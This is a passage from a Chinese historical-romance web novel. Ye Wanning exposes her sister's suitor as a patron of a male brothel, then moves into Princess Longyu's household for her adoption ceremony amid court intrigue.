谢泊淮问谢家人叶明岳在不在,门房说二爷出门读书去了,他说差不多快到下学的时间,在叶家等一会儿。 谢泊淮来了,姜姒不懂怎么招呼,去找了叶婉宁。 “咱们是女眷,不好去前头见客,让人好茶招待着,再拿一些点心。他是来找二哥哥的,派人去和二哥哥说一声,让二哥哥快些回来。”叶婉宁道。 按照叶婉宁说的,姜姒吩咐下去,随后和叶婉宁叹了口气,“昨儿我嫂嫂还问我,二爷读书怎么样了,怎么拒绝父亲请的名师。我是真答不上来,二爷说等过年后再和家中坦白,但他生意越做越大,总会有认识他的人。” “二嫂嫂别想太多,你不是教我,做人看当前的事就行。咱们瞒一天是一天,真被发现那天,再好好道歉,都是为了咱们好的人,不至于翻脸。”叶婉宁了解家人,就是二哥哥可能要受点皮肉之苦,但也没关系,有得必有失,正常。 两人说话间,小厮说二爷回来了,姜姒才松一口气。 “你知不知道,二妹妹最近常出门?”姜姒突然道。 “有听说一两次,二嫂嫂可是听到什么了?”叶婉宁问。 姜姒让云芝她们都出去,倾着身子凑过去,“之前韩家不是来提亲么,咱们家已经婉拒了韩家,结果马球会那次,韩家的五公子遇到咱们二妹妹。这段时间,二妹妹见的便是他。” 韩家门第和叶家差不多,韩五公子同样庶出,但这不打紧,人品是最重要的。 让叶婉宁惊讶的是,前世二妹妹嫁的韩家三公子,那三公子暴虐成性,她这次替二妹妹挡了韩三公子的婚事,怎么又和韩家牵扯上了? 这位韩五公子,叶婉宁倒是没什么印象,只记得不怎么惹眼,也没展现出什么本事。 “我瞧二妹妹上了心,派人打听了,韩五公子的姨娘已经过世了。在嫡母手下讨生活,并不是太容易,日子过得紧巴巴的。不过韩家到底是大家族,明面上还过得去,读书拜师,韩家几位公子都有。”姜姒是做嫂嫂的,不好直接管束小姑子,林氏又有孕,才会到叶婉宁这里来说。 “没有姨娘,又不得爹娘重视,自个儿本事一般,还没中进士。婉玉看上他什么了?”叶婉宁不理解了。 “这也是我不懂的,不是我当嫂嫂的多心,有些话你能说,我和大嫂嫂都不太方便说。你找个机会问问吧,如果韩五公子只是普通了一点,但人品好,咱们家并不是势利眼的人。”作为嫂嫂,姜姒希望小姑子们都能好。 这事宜早不宜迟,过些日子,叶婉宁去了公主府,再想管这些事就管不到了。 等二嫂嫂走后,叶婉宁直接去找了二妹妹。 看三妹妹也在,叶婉宁坐下后先开口,“婉华,我有些事和你二姐姐说,你先回去。” 叶婉华看了眼二姐姐,小声问,“大姐姐,没什么事吧?” “没什么事,你别担心。”叶婉宁拍拍三妹妹的手,等三妹妹出去后,再让云芝关了门窗,正色道,“往常我对你和婉华都很放心,你和韩五公子的事,仔细说说吧,从头开始说给我听。” 叶婉华瞬间红了脸,“大……大姐姐,你怎么知道的?” “府里就那么几个人,你以前爱玩,却不会频繁出门。”叶婉宁分析起来,“家里并不需要咱们姐妹去攀高枝,换荣华富贵。但全家都希望,我们能有美满的姻缘,你可知他底细?” “知道的,韩叙都和我说了。”说到心上人,叶婉玉眼睛闪着小星星,“他说他在韩家不容易,但也不至于太难,嫡母对庶出的孩子不亲近,父亲更不会管他们。但他自己是个上进的,一次不中,再努力就是。他说他孤零零的一个人,很羡慕我们家这种和睦的氛围,大姐姐,韩叙还会说你和大哥不容易,他真是个很好的人。” “可你有没有想过,你嫁给韩叙后,是要在韩家生活的。韩叙可以不亲近嫡母,但你嫁过去,就要日日请安伺候。韩大人不在意庶出子女,韩叙就要自己挣前程,如果他一直中不了进士,往后一直要依靠韩家过日子,你愿意吗?”叶婉宁叹了口气,“再退一步,即使韩叙没能考取功名,有家中给你准备的嫁妆,你的日子也不会太难。难的是,韩夫人和韩大人在的时候,你们得一直在他们手下讨生活。” 叶家没有嫡庶勾心斗角,以前他们父亲在的时候,几个姨娘偶尔斗嘴,却不会做出害人的事。叶婉玉姐妹在这种环境中长大,本性都很良善。 叶婉宁是活过一次的人,知道钱财很重要,也明白被人压着生活有多喘不过气来。 “庶子是会分家出去的啊。”叶婉玉坚持道。 “是啊,可是什么时候分家呢?”叶婉宁不用说,叶婉玉都知道还要很久,“我的意思并不是让你和韩叙就此断了,他家的情况,我只是分析给你听。如果你不介意这个,以后别后悔就行。我只会因为一件事阻拦你,就是韩叙人品不行。” “不会的,韩叙是个好人。那日在马球场,我差点坠马,就是他救了我。”叶婉玉说出她和韩叙认识的过程。 得了韩叙的恩情,叶婉玉主动让人送礼感谢,韩叙给了回礼。后来两人又在酒楼碰到,见韩叙口味和自己一样,叶婉玉慢慢上心。 一来二去的,韩叙会主动约叶婉玉出门,两人也就相熟起来。 叶婉宁却是越听越皱眉,若是韩叙真有心对二妹妹,应该先告知家中长辈,等长辈同意了,再由长辈陪同来提亲。而不是私自约二妹妹出门,若是被有心人看到,别人会说二妹妹轻浮,韩家也不会要二妹妹这个儿媳妇。 看二妹妹满心满眼都是韩叙,叶婉宁知道小姑娘上了头,说什么都劝不了,“既然如此,让二哥哥帮你打听打听,你知道的,二哥哥认识的人多。这是你一辈子的大事,咱们得谨慎再谨慎。” 叶婉玉对韩叙信心十足,“好,那就让二哥哥去打听!”她坚信韩叙对她的真心,等二哥哥他们了解韩叙,都会同意这门婚事。 叶明岳办事效率快,两天后便让叶婉宁带着二妹妹去铺子里,说已经打听清楚了。 第55章 逛小绾馆 “眼见为实,耳听为虚。”叶明岳让两位妹妹换了男装,从后门上了马车,“这个韩叙,确实如他自己说的一样,没什么恶习,读书天分一般,却勤恳。他和婉玉说的那些话,大部分都是真的。” 叶婉玉比较心急,“那我们穿成这样去哪里?” “自然是去韩叙去的地方。”叶明岳嘿嘿笑了下,“二妹妹的假胡子歪了,我帮你弄正一些,待会别说话,跟着我就行。不然被认出来,咱们三都会被大哥吊起来打。” 说到被大哥打,叶婉宁猜到二哥哥带他们去哪里了。 不得不说,她这位二哥哥有时候太跳脱了,但为了让二妹妹死心,她也只能硬着头皮一起去了。 马车停在小绾馆前,叶明岳刚下马车,熟稔地问龟公六儿在不在。 “在的在的,爷瞧着有点面生,点名要六儿,是有人给您介绍吗?”龟公带着叶明岳三人进店。 “肯定的啊,我哥们说六儿会的花活多,是你们店里的头牌。”叶明岳拿出一钿银子,龟公看到后,笑容更大了。 到了这会,叶婉玉明白这里是干什么的,人都进来了,想跑也来不及。紧紧挨着大姐姐,心里想着千万别被人认出来,不然大哥哥真的会打死他们。 叶婉宁也是头一回来这里,眼睛直视着前方,完全不敢偷瞄。 龟公把他们带到雅间,让他们等一会儿,他去喊六儿。 雅间里没了别人,叶婉玉脸红得能滴血,“二哥哥,你怎能把我们往这里带?” “有我在,又不会让人欺负你们。”叶明岳给妹妹们倒茶,“做了生……不是,是认识的人多了后,我发现人还是要多见世面。待会你们到屏风后,看我表演就行。” 他还记得自己是哥哥,得顾及着妹妹们。 叶婉宁大概猜到怎么回事,听到门外有了动静,拉着二妹妹去屏风后。 此时门外,龟公黑着脸,“我可告诉你,今日来的可是大客户,人家点名了要你,你再给我甩脸色,信不信我把你绑着给人干?” 六儿白白瘦瘦,眼眶红红的,“好哥哥,就不能再等等吗?韩郎已经在凑银子了,他说凑到银子,会给我赎身的。” “我都等了他三个月,再等下去,让我喝西北风啊?”龟公用手点着六儿的头,“你都跟过那么多男人了,还会信男人的话?我可告诉你,什么韩郎,你这辈子就这个命,就算被人赎出去,用不了几年还是会被送回来。你以为男人有真心吗?你也是男人,动动脑子吧!” 粗鲁地替六儿擦了眼泪,龟公一只手推门,一只手推着六儿的腰进去,“爷,这位就是六儿,您还需要其他的小绾不?” “先不用了,我看六儿很不错,让他好好伺候我。”叶明岳坐姿粗俗,故意色眯眯地盯着六儿,“还真是细皮嫩肉,看着真让人喜欢,行了,这里没你的事,快点出去。” 龟公笑哈哈地关了门,男人嘛,都急性子,今日六儿有苦头吃了。 等他关了门,刚走没几步,便看到了韩叙。 “你把六儿带哪里去了?”韩叙握紧拳头。 “当然是接客了,你给不起钱赎身,又包不起六儿,他不挣钱,喝西北风啊?”龟公早就看出韩叙是个没钱的,“今日我跟你说明白,我这里是开门做生意的,你要是有钱,我开开心心地奉上六儿的身契。你要是没钱,有多远滚多远,别再来我这里闹。你们读书人不是最讲究名声么,你再来闹事,我去书院找你去!” “我……” “你什么你,裤裆里的玩意比脑子好使的东西,快点浑蛋,别妨碍我做生意!”龟公摆手,让韩叙走人。 韩叙的钱,早就用来包六儿了,他确实没有钱了,更不敢让书院和家里知道,他爹会打死他的。 见龟公那么无情,韩叙眼眶猩红,“今日我是囊中羞涩,但我不会一直落魄。你连通融都不愿意,往后我有位极人臣那天,你就不怕吗?” “哟,你当我是吓大的吗?”龟公笑了,“别说你没这个本事,等你真权势滔天时,你让我跪下舔你脚都行。干我们这行的,都是逍遥一天是一天,你以为我们能长命百岁,等你个二三十年?” 能当龟公的,都看得开,男人的话不能信,以后的事不用想,因为想了也没用,谁知道哪天就死了。 韩叙说不过龟公,想到六儿正被其他男人欺辱,又不肯走。 龟公只好叫人来拉走韩叙。 就在这时,屋内传来酒杯摔碎了的响声,还有六儿的求饶声。 “求您了爷,您放过我吧,我答应过别人,他赎我之前,不伺候其他人。”六儿跪在地上,哭着磕头。 就在这时,门被人推开,韩叙看到跪在地上,衣裳半裸的六儿,眼睛冒火。 他冲过去要打叶明岳,却被叶明岳一脚踹开。 “哪里来的小子,敢打扰爷的乐子?”叶明岳沾着络腮胡,特意换了口音,抓住六儿的胳膊。 韩叙心疼得发紧,亲眼看到六儿被欺负,他拽过六儿,紧紧搂在怀里,“他是我的,你们不许欺负他!” 龟公气得跺脚,喊来小厮,“你们都是死人吗,没听到这里那么大动静,还不快点把人拖出去!” 转头再去给叶明岳赔礼,“您别生气,我这里还有很多听话懂事的,给您换几个来?” “不用了,真是倒人胃口。”叶明岳已经完成任务,让龟公滚蛋。 龟公心里骂死韩叙和六儿了,但也只能作罢。 屏风后的叶婉宁,捂住了二妹妹的嘴。 叶婉玉眼泪不受控制地往下流,但这里不是说话的地方,叶婉宁替她擦了眼泪,跟着二哥哥往楼下走。 只是下楼梯时,她竟然看到谢泊淮。 谢泊淮迎面走来,龟公笑容热情地迎了上去。 难不成,谢泊淮也好这口? 第56章 亲人 叶婉宁极力低着头,心想一定不能被谢泊淮认出来,等上了马车后,看到二哥哥在摘假胡子,心想谢泊淮肯定认出她了。 这下子,她在谢泊淮那的名声更差了。 叶明岳从和谢泊淮目光对上的一刻,就知道自己被认出来了,“完了完了,回头我得交代下子谦,千万不能和别人说。” 叶婉宁认可地点头,“还好是谢大人,他人忙事多,也不是那种爱管闲事的人,应该不会乱说。” 说着,她握住二妹妹的手,叹气道,“韩叙不是良配,天底下还有很多好男人。” 叶婉玉伤心地靠在姐姐怀里,“他既然喜欢男人,为何要与我来往?”她不理解,全心全意地对那个六儿不就好了。 这点叶婉宁能猜到一些,“韩叙到了成亲的年纪,他不是说了,家中的嫡母和父亲对他并不上心。与其家中随便找个女子管着,还不如自己物色个合适的。这次的事,咱们吃一堑长一智,往后再有什么男子接近,先查清楚再说。” “不会有什么男人了,我也不嫁人了,在家中当一辈子老姑娘,天下男人没一个好东西。”叶婉玉心都碎了。 叶明岳缓解气氛道,“话不能这么说,我和大哥哥还是好的,你不能一棍子打死,指不定哪天你就遇到更合适的呢?” “那万一还是周钰或者韩叙这种呢?还不如不嫁!”叶婉玉现在是气头上,叶婉宁给二哥哥使了个眼色,兄妹俩不再多话。 这个事谁都不好再说,姜姒有叶明岳转述,至于其他人,就不用特意告知了,只当没有这个事。 没过两天,江嬷嬷来送了帖子,说三日后是个好日子。 姜姒觉得匆忙,江嬷嬷笑着道,“不匆忙,公主府什么都有,你们是贵客,人去了就行。” 公主府是什么都有,但叶家也不能什么都不准备。 裁剪新衣,新的头面,从上到下,都得拿出叶家的脸面来。 特别是叶婉宁的打扮,得格外上心。不过她的衣裳,江嬷嬷送来了,一年四季的衣裳,每季六套,头面首饰八套,每一件都是富贵奢靡,用上了贡品。 二房夫妇过来时,叶显荣一个劲地夸叶婉宁命好,“还是婉宁命数好,以后飞黄腾达了,可不能忘了家里。你看你大哥在官场多不容易,咱们都是一家人,大家好才是真的好。” 李氏笑着附和,“是啊婉宁,以前我就看你不错,家中姐妹就属你最出挑。现在看来,还真是你有本事。这些日子给你提亲的人不在少数,不过你别着急,等你去了公主府,有隆玉公主这个义母在,她肯定会给你相看更好的人家。之前我就说了,以你的美貌就该进宫去,现在能到公主府也是一样。” 叶显荣用力地点头,就想让叶婉宁注意到他们二房。 夫妇俩一人一句说个没完,直到叶老夫人出来让他们闭嘴,两个人才不知所措地敛去笑容。 “母亲,我们在夸婉宁呢。”李氏道。 “知道的你是夸,不知道的还以为我们叶家卖女儿呢!”叶老夫人没好气地看着二房夫妇,“别人只看到婉宁攀附上公主府的好处,但你们作为叔叔婶婶,总不能也只看到好处,不想想婉宁的不容易吧?” 叶显荣不理解,“隆玉公主没有孩子,婉宁当了她义女,怎么会有不容易呢?” 在他们看来,这就是百利无一害的事。 “不容易的地方多了去了!”叶老夫人用拐杖敲着地面,“你们熟悉隆玉公主吗?知道公主府有多少双眼睛吗?在上位者眼皮子底下讨生活,真那么容易?况且现在的情况,嫁入皇家会是好事?” 一连几个问题,把叶显荣夫妇问低下了头,虽然他们心里不认可,但面对老夫人,面上只能说是。 “你们只看到人前显贵,并不知道人后的艰难,显荣啊,你都为官那么多年了,怎么还是一点长进都没有?”叶老夫人不想责备小儿子,但有些话不说,她又怕小儿子惹出祸事来,“人这一辈子,最重要的是有自知之明,什么本事做什么事,不然德不配位,迟早完蛋!” 叶显荣被母亲当着小辈说了一顿,面上无光,却又不敢甩脸色走人,等人散了,才愤愤离开。 李氏心中也颇有怨气,“咱们好心好意过来祝贺,怎么成我们的不是了?你看看大房,自从大哥过世后,日子越来越不像样。是他们没本事,还固执己见,自己不抓着机会,反而急着往外推,我是真没见过这样的人。” “小声点吧!”还没出大房的门呢! 李氏撇撇嘴,“话都不让人说,憋屈死我算了!” 上了马车,李显荣还是坚持,“等认亲那日,咱们还是得在隆玉公主面前露个脸。就算婉宁可能心里不愿意,但为了叶家的面子,也会帮我们引荐一下。” 在六品官上大半辈子,叶显荣很想往上升一升,还有他儿子,马上要科举,如果有隆玉公主的提携她,他们叶家的日子,很有盼头。 “好,到时候我好好准备一下,如果能得隆玉公主青睐,我们也不用求着婉宁。你看咱们今天费劲口舌说了那么多,但她一句话都不接,还说是亲侄女,我看啊,她才是眼里只有达官显贵。”李氏对大房有诸多不满,但想到有机会能过富贵日子,又盼着叶婉宁能好点。 此时的叶婉宁,被叶老夫人拉到里屋,只有他们祖孙俩。 “你从小就懂事听话,祖母不需要替你担心。你的为人处世,祖母也是相信的。”叶老夫人拉着孙女的手,语带哽咽,“祖母只和你交代几句,富贵圈里的好,能有就有,没有不必强求。你是个好的,凡事别勉强自己,咱们家不一定要出个多厉害的姑娘。实在过不下去就回来,也别怕得罪隆玉公主,再怎么样,她也不能杀了我们。” 叶婉宁感动落泪,依偎在祖母怀里,“还是您最疼我。” “不疼你疼谁,你是我看着长大的孩子。”叶老夫人搂着孙女,轻声叹气。 日子转眼即逝,到了认亲礼前一日,江嬷嬷来接人,叶婉宁上了公主府的马车,心中有着诸多不舍。 第57章 太讨厌 隆玉公主给叶婉宁准备了单独的院子,江嬷嬷在前面带路,“屋内都是按照最好的来摆设,姑娘看看,有什么不喜欢,或者不满意的,随时可以和老奴说。” “都是我不曾见过的好东西,自然是都喜欢,没有不满意。”叶婉宁笑着坐下。 江嬷嬷叫来几个人进屋,“这四位大丫鬟,往后负责伺候屋内的事务,剩下八个小丫鬟,你看着用,外边还有洒扫婆子和内侍。您用得不顺手的,可以随时换。” 四个大丫鬟分别是逢春、去夏、见秋、迎冬,叶婉宁没给她们换名字,这都是隆玉公主派来的人,她往后的一举一动,都会被她们看着。 叶婉宁有种无法放松的感觉,江嬷嬷让叶婉宁先休息,明儿正式认亲礼,隆玉公主请了全京城的高门大户。 江嬷嬷一走,逢春先自我介绍,“奴婢以后管姑娘的床褥和梳头,我们四个各有所长,姑娘有什么事尽管吩咐我们。” 叶婉宁给了赏钱,“能主仆一场是缘分,既然你们都这么说了,往后咱们就是自己人,我贴身的事云芝做习惯了,还是她来,剩下的府里怎么安排,你们听府里的就行。” 逢春笑着说了好,其余几个纷纷给叶婉宁见礼,一时间还看不出个好坏来,但叶婉宁知道,一定不能在这些人面前露出任何破绽。她们知道了,隆玉公主也就知道了。 叶婉宁说要沐浴,逢春带着人去提水,等沐浴时,只有云芝在,她才能稍稍松口气。 “姑娘,公主府的阵仗也太大了,奴婢瞧着,往后咱们连说话都不敢大声说。”云芝不觉得公主府好了,逢春几个一看就训练有素,说话做事有条不紊,是她完全不能比的。 “确实不能乱说话,咱们都得小心些。好在不用一直住在公主府,等过段日子,让祖母写信说想我,殿下总要放我回去的。”叶婉宁心里是这么打算的。 想到次日的认亲礼,叶婉宁深吸一口气,把头埋进水中,告诉自己,没什么大不了,兵来将挡,水来土掩,只要人活着,就没解决不了的事。 新的环境,并不够让人安眠,特别是逢春还要守夜,叶婉宁翻来覆去后,让逢春先回去。 “回姑娘,公主府和宫里都是这样的,方便奴婢们夜里伺候主子。您习惯就好了。”逢春恭敬地站在纱帘前。 “以后再来吧,明日比较重要,你在这里,我没有睡意。你也说,殿下让你们都听我的,规矩是死的,人是活的,你说呢?” “您说得对。”逢春没有再多说,而是默默退了出去。 她到正殿时,里边还亮着灯,下人通传过后,她低着头进去。 隆玉公主左右两边,各躺了一位男子,衣裳半裸,皮肤白皙。 “姑娘不让你守夜?”隆玉公主歪在男宠的身上。 “是,说不习惯。”逢春道。 隆玉公主没在意这个,“既然不习惯,以后屋里不用留人守夜,你们在屋子外放个铃铛,让她有事拉铃铛就好。” “奴婢明白了,不过姑娘对奴婢们,好似没太信任。” “正常,要是本宫突然被人这样高高捧起来,本宫也警惕着。好好伺候着吧,既然本宫认了她当义女,总会给她一份好前程。”隆玉公主挥挥手,示意逢春可以下去了。 江嬷嬷端来热茶,“方才下边人来传话,说谢泊淮已经在查乌苏使臣身边的人了,您看看,咱们是不是要派人处理一下?” 上次嫁祸谢泊淮,虐杀昭云郡主,隆玉公主手下的人还算干得干净。 但谢泊淮是什么人? 他是京城里最让人闻风丧胆的疯子,没有什么,是谢泊淮找不到的。 隆玉公主就没指望着能让谢泊淮死,只是想挑起谢泊淮和惠王等人的矛盾,但她没料到,惠王还是有点脑子的。 而谢泊淮,也快查到她身上了。 “不用动手,我们出手,反而让谢泊淮更快找到我。”隆玉公主并不担心,“其实本宫不找来叶婉宁,谢泊淮都没那么快查到乌苏使臣身上。但谢泊淮这人太讨厌,不让叶婉宁待在本宫身边,本宫不安心。” 她认叶婉宁为义女,就是把叶婉宁留在身边,如此一来,只要谢泊淮在意叶婉宁,就不敢对她出手。 “殿下有备无患也是好的。”江嬷嬷道。 隆玉公主笑了下,“其他人本宫都不用如此,只有谢泊淮。咱们等着就好,虽然本宫对谢泊淮出过手,但也不是敌人,权谋场上,就没有一直的敌人。明日谢泊淮一定会来的,到时候你让他来见本宫。” “老奴明白了。”江嬷嬷退了出去,叫来一个丫鬟,“告诉叶姑娘院子里伺候的人,好好伺候,谁要是怠慢了叶姑娘,等着去见阎王吧。” 殿下试过谢泊淮的本事,知道和谢泊淮斗起来可能会两败俱伤,所以还是以和为贵好。有叶婉宁在,他们都能安心过日子。当然了,谢泊淮不识趣,他们也不怕。 次日一早,逢春几个进来伺候叶婉宁洗漱,挑的嫣红色苏绣长褂,光是看到,叶婉宁就觉得十分贵重。 “真要穿这一套吗?”她觉得太隆重了。 “您往后是府里的主子,殿下只有您这么一位义女,自然要把最好的打扮穿在身上。”逢春笑着给叶婉宁梳妆,“您长得真好看,眉不画而黑,唇不点而红,只需要一点点胭脂,您就是今天最耀眼的。” 叶婉宁被她说得有些不好意思了,不过她确实长得好,特意打扮过后,更是惊艳夺目。 见秋进来说时辰差不多了,“殿下已经起来了,姑娘过去请安吧。” 叶婉宁浅浅笑着,“好,我这就过去。” 第58章 家人 本就富丽堂皇的公主府,今儿装扮得更亮眼了,叶婉宁在江嬷嬷的带领下,见到了隆玉公主。 “殿下,臣女来给您请安。” “以后不用喊本宫殿下,喊义母即可,昨儿逢春来回话,说你不习惯守夜,本宫已经吩咐下去了。”隆玉公主让叶婉宁坐下一块吃饭。 叶婉宁应了一声好,早上起来,逢春便说了这个事,倒是没瞒着她。 “刚到新地方,肯定会有诸多不习惯的地方,你慢慢熟悉,府里的事不用你操心,都有下人办。”隆玉公主吃了半碗粥便不吃了,看叶婉宁跟着放下筷子,她又道,“本宫的公主府,不是其他的王府,没有那么多的规矩。本宫知道你是个懂进退的,但作为本宫的义女,并不需要那么懂事。人啊,得活得自在一点,不然太累。你且慢慢吃,本宫去看看,今日都准备了什么好玩的。” 隆玉公主走后,江嬷嬷按了按叶婉宁的肩头,“姑娘安心吃就好,殿下看重您,在公主府里,您可以任性一点。作为殿下的义女,嚣张跋扈都可以,天塌下来都有殿下帮你撑腰。” 叶婉宁越发糊涂了。 她活十八年,从来都是循规蹈矩,一切行为都有规范。 要她嚣张跋扈? 她做得到吗? 不过仔细想来,隆玉公主不再嫁人,而是在府上养男宠,其实已经是很离经叛道的事,但有多少人唾弃她吗? 好像并不多。 如果不是隆玉公主去和亲,哪里有边境十几年的太平。就算那些迂腐书生有怨气,也不敢多言语。 看着桌上精致的吃食,叶婉宁深吸一口气,继续吃了起来。 饭后,她主动问江嬷嬷,“我瞧殿下食欲不佳,是一直如此,还是这几日胃口不好?” “回姑娘,殿下在乌苏住了十几年,回京后便不太适应,胃口一直不太好。”江嬷嬷带着叶婉宁往前厅走。 叶婉宁知道了,等她到前厅时,叶家人已经到了。 他们一晚不会睡,都在焦虑叶婉宁的情况,早早地出了门。 隆玉公主正在和叶老夫人说话,叶婉宁过去给祖母请安。 叶老夫人拉着孙女的手,看向隆玉公主时,语气谦卑,“是我家婉宁运气好,能得殿下青睐,是她的福气。”生怕自己惹隆玉公主不高兴,姿态放得低低的。 隆玉公主把叶家人的深情都瞧在眼里,一大家子战战兢兢,仿佛她是会吃人的母老虎一样。不过她也可以理解,她对叶婉宁的好,来得太过突然。 知道叶家人担心叶婉宁,听有客人来了,隆玉公主让叶婉宁带着叶家人去落座。 等出了大殿,叶老夫人才敢问,“殿下对你可好?” “蛮好的,祖母不必担心,殿下说她只有我一位义女,让我随意些,天塌下来都有她顶着。”看家人因为自己小心翼翼的样子,叶婉宁心头酸酸的。 叶老夫人拉着孙女的手叹气,“既来之,则安之,祖母相信你能把日子过好的。” 叶婉宁点点头,带着祖母落座后,叶婉宁便被江嬷嬷叫走了。 叶老夫人和两个孙媳妇感叹,“咱们家养大的姑娘,反而成了别人的女儿。你们都记住了,不许给婉宁惹事,她太不容易了。” 林氏和姜姒一起说了是,姜姒熟人多,很快就有人来打招呼。 因为叶婉宁的关系,来的客人对叶家都客客气气。 直到叶显荣和李氏到来,姜姒才皱眉。看李氏到处和人问好,姜姒去看林氏,“二婶到处套近乎,咱们是不是该提醒下她?” 林氏为难道,“她是长辈,我们过去拉人不好看。” 让祖母去的话,祖母又难免操心,想了想,姜姒还是自己过去喊李氏。 “二婶来了啊。”姜家在京城颇有名望,那些夫人们看到姜姒,多少给点面子,笑着问好。 右相夫人也来了,看着姜姒道,“可惜你成亲时我没空,不能去喝杯喜酒,倒是委屈你了。” 委屈什么呢? 朱氏没有明说。 但大家都知道,姜姒是低嫁,且叶明岳是个纨绔,没什么本事,还不爱读书。 现在看李氏这番模样,她们心中都是鄙夷,连同看低叶家。 李氏还没转过弯来,“夫人说笑了,明岳对姒儿极好,不会委屈她的。” 朱氏见李氏听不懂她的嘲讽,低头浅笑,和边上的夫人们交换了眼神。 姜姒脸都热了,“二婶,祖母在找您呢。” “待会吧,我正和右相夫人她们说话,你先去和老夫人说一声,我待会过去。”看朱氏穿的是蜀锦,李氏想都没想就夸,“还是您有福气,您穿的是蜀锦吧,哎呦喂,蜀锦可难得了,我都没瞧见几回。” 看李氏一副没见过世面的样子,朱氏拿她打趣,“不过是寻常的蜀锦而已,没什么值得夸赞的。如今叶大姑娘得了隆玉公主的青睐,往后你作为她的二婶,会更有福气。” “那是自然,婉宁是个乖巧孝顺的,对家里人都极好。”李氏说着又去看其他人,一个个夸了过去。 姜姒听得心头直跳,这般讨好朱氏等人有什么用,她们不过拿二婶当个打趣的玩意。可她又不能上手去拉人,好在这时皇太孙等人来了,吸引了众人的注意,李氏才停嘴。 不仅皇太孙来了,还有其余几位皇孙,朱氏的眼中闪过一抹让人不易察觉的情绪,她边上的柳氏低声道,“这个叶婉宁还真有本事,隆玉公主把皇太孙都喊来给她庆祝。” “再有本事又怎么样,乌鸦变凤凰,骨子里到底还是乌鸦。你们看那李氏,连好话歹话都听不出来,可见叶家人也不过如此。”孙夫人勾勾唇,她近来烦心事多,看什么都不顺眼。 柳氏掩嘴笑,“也是,义女而已。” “你们啊,真是嘴上不饶人。”朱氏留下这句话,主动朝皇太孙等人走去。 近来朝中不太安稳,右相也在为战队而烦恼,如今皇孙们来了,代表的是各位王爷。朱氏有心去露个脸,她是右相夫人,地位尊贵,众人看到她,纷纷让出路来。 第59章 胆子大 只是朱氏进了正厅,刚准备行礼问安时,隆玉公主带着叶婉宁介绍给几位皇孙,也就没人注意到她这里。 “婉宁,见过皇太孙。”隆玉公主拉着叶婉宁的手。 李隽看着叶婉宁挪不开眼,“我见过你,那日选妃你落选,我还感叹可惜了。今日看到你,确实天姿国色,我实在好奇,以你这般容貌,怎么会落选?” 这个问题,问出好些人心中的想法。 但别人都给隆玉公主面子,不会去拆叶婉宁的台,皇太孙眼神真诚,倒不像是故意为之,而是真的好奇。 “太孙别笑婉宁了,她落选自然有她的理由。”隆玉公主带过这个话题,带着叶婉宁认识其他皇孙。 叶婉宁心头猛跳,大哥哥曾说过,太子是个忧思很多的人,但皇太孙是个完全相反的人,皇家里难得心思简单点的。 见过其他几位皇孙,隆玉公主又带叶婉宁见几位君主。 宁安郡主是皇太孙的亲妹妹,她热情地拉着叶婉宁,“姐姐别怪我皇兄嘴快,他是个直性子的人。” 她主动称叶婉宁为姐姐,给足叶婉宁面子。 边上的羲和郡主却喜欢和她拆台,“太孙确实是个直性子,不过有宁安姐姐在,怎么样都能替太孙圆回来。婉宁姐姐,你和我去玩吧,我知道姑母府上哪里最有意思。” 说着,羲和郡主便挽住叶婉宁的手,她和宁安不对付,看宁安亲近叶婉宁,便要和宁安抢人。 两姐妹只差了一个月大,从小到大都被拿来比较,不过都是宁安郡主压羲和郡主一头,以至于羲和郡主什么都爱和宁安郡主争。 包括现在的叶婉宁。 羲和郡主并没有问叶婉宁想不想同行,直接和隆玉公主打了个招呼,拉着叶婉宁就往外走。 等到了园子的高处,羲和郡主笑眯眯地让叶婉宁看,“这里视野开阔,还没那么多烦人的人,婉宁姐姐喜欢这里吧?哦,我都忘了,以后你要住在这里,你可以随时过来。” 羲和郡主生了一张圆脸,但她皮肤白皙,笑起来眼睛弯弯的,很是娇俏。 叶婉宁说喜欢,“郡主常来义母这里?” “也不是常来,我母妃说姑母不检点,不让我来。但我喜欢听姑母说话,总会偷偷跑来。”羲和郡主打量着叶婉宁,“以前我就听说过你,说你才貌双全,就是可惜要低嫁。得知姑母要认你为义女时,我好惊讶,我以为姑母这样洒脱的人,不会喜欢你这种循规蹈矩的大小姐。今日看到你,我倒是理解一些了。” 叶婉宁讪笑,“为何?” 她没和这些皇孙郡主接触过,现在突然被羲和郡主拉出来,隆玉公主也没反对,心里一直在想怎么应对。 “因为你太漂亮了,我是女子,都忍不住盯着你看。方才你没注意到么,我那些皇兄,一个个眼睛都直了。”羲和郡主露出一个嫌弃的表情,“所以我是故意拉你出来的,他们一个都花心得很,你可别被他们骗了。” 叶婉宁觉得这位郡主真是可爱,竟然与她说这些。 不过离开大殿确实不错,只是她也有担忧,“时候不早了,我们还是回去吧?” “不着急,姑母都没派人找你,你急着回去做什么?”羲和郡主盘腿坐下,随意得很,“你和宁安倒是很像,两个人都端着姿态。不过你比宁安好看,我更喜欢你。” “你说谁端着呢?” 宁安郡主突然从后边出现,趁着羲和郡主没反应过来,捏了捏羲和郡主的脸,“瞧你这副模样,要是被人看到,又要说你没教养。” “说就说,我还怕人说吗?你别再捏我脸了,再捏我就要生气了!”羲和郡主揉揉自己的脸,她天生小圆脸,兄长们夸她可爱,但她才不需要可爱。 宁安收回手,“谁让你背后说我坏话。” “切。”羲和郡主拍拍裙摆,并没有在怕。 看两位郡主拌嘴,叶婉宁轻声笑了,“两位郡主关系真好。” 羲和郡主当即反驳,“说什么胡话,我可不认她是好姐妹。这里又没有其他人,干嘛说那么虚假的话?” “是是是,我们是不好,谁让我处处比你厉害。”宁安郡主怕羲和郡主缠着叶婉宁不放,是特意过来喊人的,“婉宁姐姐,咱们过去吧,姑母请了那么多人来,都是为了看你。” 叶婉宁说好,她不在场,确实不给面子。 羲和郡主撇撇嘴,“就你识大体,会做人。我父王说,应该把你和皇太孙换一下,你的心思才适合做太孙。” “羲和。”宁安郡主转身停下,敛去笑容,“这些话你在我面前说说就算了,其他人面前不要再说了。” 宁安郡主突然放下脸,羲和郡主努努嘴,“不说就不说,就你厉害。”她愤愤走了,头也不回。 “哎,她这个样子,怎能不让人操心。”宁安郡主再去看叶婉宁时,又是笑容和煦,“姐姐别介意,羲和从小就这样,没太多心眼。其实她这样性格,在宫里很少见,皇兄们都爱逗她玩。” 叶婉宁说确实,这时逢春找来,说殿下找她有事,带着叶婉宁去了一处阁楼。 但叶婉宁没看到隆玉公主,而是看到负手站在窗后的谢泊淮。 “殿下?”谢泊淮回头看去,以为是隆玉公主去而复返,结果看到叶婉宁。 叶婉宁在谢泊淮眼中看到了惊讶,这是怎么回事? 